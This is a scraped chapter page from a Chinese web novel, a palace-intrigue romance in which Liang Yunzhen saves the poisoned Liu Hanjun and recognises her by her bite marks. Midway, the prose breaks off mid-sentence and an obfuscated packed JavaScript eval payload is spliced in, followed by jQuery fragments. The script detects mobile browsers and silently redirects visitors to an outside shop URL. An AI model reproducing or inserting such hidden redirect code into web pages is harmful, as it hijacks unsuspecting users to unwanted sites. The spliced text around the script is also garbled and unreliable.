默认冷灰
24号文字
方正启体

9. 第九章 齿痕

作者:云山秋本书字数:K更新时间:
    “送到京城,这信事关重大,请务必要亲手交到江掌柜手上。”


    湖心阁分阁的老板郑重地把信封收好:“姑娘放心,此番我会亲自上京,必会妥善保管这封信,绝不假以他人之手。”


    但老板还是在心里犯嘀咕,眼前这个陌生年轻的姑娘到底是何方神圣?


    背脊挺得笔直,瞧着体体面面的,讲话也矜持斯文,虽无左右拥趸,却丝毫不会让人因此看轻她,喊来她时做的第一件事就是向她展示了总阁的信物。


    老板忍不住再次打量对方手上的令牌,她只见过江月同给的图纸,这还是第一次见到实物。


    柳含隽知晓她只是好奇,没有恶意,便大大方方地递交给她:“我已在信中附上令牌的拓印。若老板不放心,大可拿出图纸一验真假。”


    “哪里哪里,这东西可做不得假,只可能出自我们江掌柜之手。”老板连连摆手,犹疑片刻,还是小声探问,“不过不知姑娘是不是京城人士?”


    老板很清楚她们的大老板江月同并无亲缘在世,难道这个姑娘是江掌柜的朋友?


    江掌柜不是说不交朋友吗?她还以为这块令牌这辈子都只能在江月同手上呢。


    柳含隽的话坐实了她的猜测:“不是,我只是江掌柜的友人而已。”


    老板搓搓手,热情招呼:“我还是第一次碰上江掌柜的朋友呢,姑娘怎么称呼啊?不急的话,不如进院里来坐坐?”


    柳含隽收好令牌,摇头:“我倒是乐意之至,但今日身负要务,实是不巧,若哪日重返阳屏,定会再来拜访的。”


    老板只得遗憾作罢,但很快又打起精神来:“姑娘有急事?有什么我能帮上忙的地方吗?”


    这次柳含隽没有拒绝。


    她自己一个人分身乏术,很难在申时之前买齐所有需要的东西,这也是她来湖心阁捎信的原因之一,可信又可靠。


    待一切备妥,柳含隽忽略周围来来往往的人群与各色各样的打量,站在城门口,眺望不远处、今晨与梁允祯分别的地方。


    她一边抚摸着马匹油亮的鬃毛,一边侧首低声道:“开始了。”


    马匹充耳不闻,只垂头专注啃着地上缝隙里生出的杂草。


    分阁老板差遣了人帮柳含隽采买过后,便骑上马带着车队,自北城门离开了阳屏城。


    可惜她与柳含隽走的是两个方向,不然她还想提议捎上柳含隽一程的。


    老板正思考着怎么和江掌柜的朋友混熟,忽地平地起狂风,黄沙袭面,逼得她下意识闭上眼,抬起双手护住头。


    “怎么回事……?”


    “怎么会刮这么大的风?哪来这么多沙子?”


    “老板?老板你怎么了?”


    一阵阵惊呼声此起彼伏,老板放下双手,愕然地发现自己竟已不在马背上,而是直接坐在路边的地上。


    她立刻意识到什么,伸手在口袋摸索。


    但那姑娘交给她的信还在。


    ……好像没发生什么?


    不能破坏封条打开信封看里面的东西还在不在,而且就算看了老板也不知道内容物对不对,所以她没有进一步检查。


    老板依然不放心,左右环顾,扭头对手下大声喊道:“停下看看有没有丢什么东西!”


    “是!”


    转眼间日已西沉,阳屏城外五里处。


    梁允祯孤身一人骑着马,在晚风中身子半低,高高挽起的黑发在背后翻飞,目光比晚风还要冷峻。


    他的衣袖里还收着刚刚截来的信,但他只觉得无趣,所以没有打开看。


    ……这只是第一个考验而已。


    梁允祯面色不虞。


    “晏晴好”聪慧又如何,这么快就沉不住气,目光着实短浅。


    天色越来越暗,一人一骑渐行渐远。


    眼看着一弯新月爬上天幕,梁允祯微微怔愣,像是才发现夜晚会有月亮一般,刻意放空的脑海中不得不想起那个被他留在阳屏城的人。


    她大概意识到自己已经被他放弃了,可能骑马回京城了吧……她会骑马吗?


    梁允祯才意识到自己甚至不知道“晏晴好”会不会骑马,那他岂不是还得教她怎么骑马……


    不对,梁允祯回过神来,恨不得给刚刚这么想的自己一耳光。


    都已经这样了,还考虑什么教不教骑马的?


    她更可能是回阳屏城里,找地方歇着了吧?但他今早下的毒,毒发起来好像会有些痛。


    梁允祯心平气和地想,那他只能祝福她是留在了阳屏城,不然骑马半途死于毒发,最后的模样可能不会有多好看。


    他的确不会滥杀无辜,但主动暴露他的人他都手下留情的话,简直枉为帝王。


    天色太黑,已经不方便行路,疾驰的马匹慢下步伐,梁允祯驱使它缓慢走着。


    因为他直起身来,袖中信封锐利的一角微微刺痛了他的手臂,提醒他它的存在。


    梁允祯终于空出手来,取出信封,撕开封条,就这么借着月色,漫不经心地看起了信上的字。


    不过一眼,他的眼神立刻就变了,用力一勒缰绳,迫使马匹嘶鸣着停下脚步。


    月色下,梁允祯的面色一时难以言喻,简直比认为柳含隽试图传信暴露自己时还要难看。


    他三两下收好信纸,调转马头,朝来路疾驰而去。


    已经到了封城的时辰,阳屏城外本该空无一人。


    两匹马围绕着倒在地上的人踱步,时不时凑近嗅嗅她。


    她看上去很不好。


    梁允祯在柳含隽身前勒马,连栓都顾不上栓,快步上前,将她从地上半扶了起来。


    她的面色惨白,双目紧闭,全身都在发抖,已然是毒发的症状。


    还没等梁允祯有所动作,柳含隽居然开口了,眼皮剧烈地颤抖着,声若蚊呐:“公子……你来了……”


    见她还强撑着意识,梁允祯气极反笑:“我要是没看那封信,你就会死在这里你知道吗?”


    都这样了柳含隽居然还有心思对他笑,尽管因为没有力气,笑得比哭还难看:“因为我想与公子做个交换……不知这个代价如何?”


    梁允祯本来已经在拿解药了,闻言动作一顿:“你想用自己的命,和我换什么?”


    “晏晴好”果然什么都看出来了,她只是将计就计,豁出自己性命,赌他会因为愧疚答应她的请求。


    其实她赌对了,梁允祯这一路心急如焚,的确因为自己的怀疑差点害她命丧黄泉对她有愧,但若以此为胁……


    柳含隽很清


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17418425|200792||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    楚梁允祯心中的动摇已经在消散,急忙出声制止他的思考:


    “不……我是想救一个人、一个因为我……身陷囹圄的人,只有、只有你能救她。”


    梁允祯眯起眼:“谁?”


    “英国公府近日发现的细作,若望。”柳含隽喘着气,已是出气比进气少的模样,还强撑着要解释下去,“那是因为……”


    她简直是用命在说话,梁允祯面无表情:“打住,有什么事等你活过来了再说。”


    柳含隽不听到他答应就不死心,依然挣扎着开口:“那、你……”


    梁允祯咬牙切齿地打断她:“你活下来了她就能活下来,听懂了吗?”


    话音一落,柳含隽双唇颤抖片刻,阖上双眸,释然般呼出一口气,唇畔强忍的鲜血顺着下颌滑落。


    梁允祯要捏开她紧闭的嘴巴,但柳含隽竟然丝毫不为所动,他又有所顾忌,不敢太过用力,一时间简直陷入了僵局。


    再不吃解药命就要没了,梁允祯的纠结不过片刻,正要狠下心卸了她的下巴,她居然迷迷糊糊地张开了齿缝。


    尽管很轻微,身体也还在病态地发抖,但柳含隽还是克服了全身剧烈的疼痛,尽量配合了梁允祯。


    梁允祯见过吃了这慢性毒药的人濒死的模样,身体上的反应和她别无二致。


    但他们大多都在痛呼、在挣扎、在哭喊,她却只是闭紧了牙关,连一丝呻吟都没有。


    吃了药,柳含隽一下子就要卸力,梁允祯眼疾手快,赶在她咬伤自己之前,将自己的手臂送到了她口中。


    柳含隽意识模糊,咬得毫不留情,顷刻间便见了血。


    两人的鲜血在她的口中、在他的手臂上交融,血腥味在空气中弥漫开。


    梁允祯忍着手臂上传来的剧痛,一边单手将她的姿势调整好,让她更安稳地靠在自己怀里,一边等着解药起效。


    两匹马没眼力见地要凑过来,又被梁允祯的低气压吓跑,百无聊赖地嚼着路边的野草。


    月亮已经爬过了头顶,柳含隽也终于慢慢松口,折腾这么久,她总算失去了意识。


    等梁允祯把右手从她口中解救出来时,流出的血都已经凝固了,齿痕深深嵌入血肉中。


    他在心中无奈感叹——“晏晴好”的牙可真利,比起那晚在何府的那个……等等。


    梁允祯凝望怀中人的面颊片刻,把枕在她后脑的左手抽出,安稳地将她的头搁在自己的腿上,然后拉开左手的袖子,露出手臂。


    因为年富力强,尽管他的左手受伤很重,但半个月过去,上面的伤口已经恢复得差不离,只不过痕迹一时半会儿还无法消去。


    左右手的两处伤口被并在一起对比,除了左手被刀划过的伤痕、右手尚未清洗的血迹,两处齿痕,如出一辙。


    连两颗虎牙的位置都一模一样,“晏晴好”说话总是一副柔和无害的模样,牙齿确实与外表极不相符的锐利。


    那么那日在何家的情形也说得通了,她与左禄明有血仇,去探查何家无可厚非。


    所以……那支发簪,确实是他赐给她和六皇弟的新婚贺礼。


    梁允祯忍住这一刻把怀里的人唤醒的冲动,他的笑容在月光下泛着一种鬼气森森的动人,喃喃自语:“原来是你啊……”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)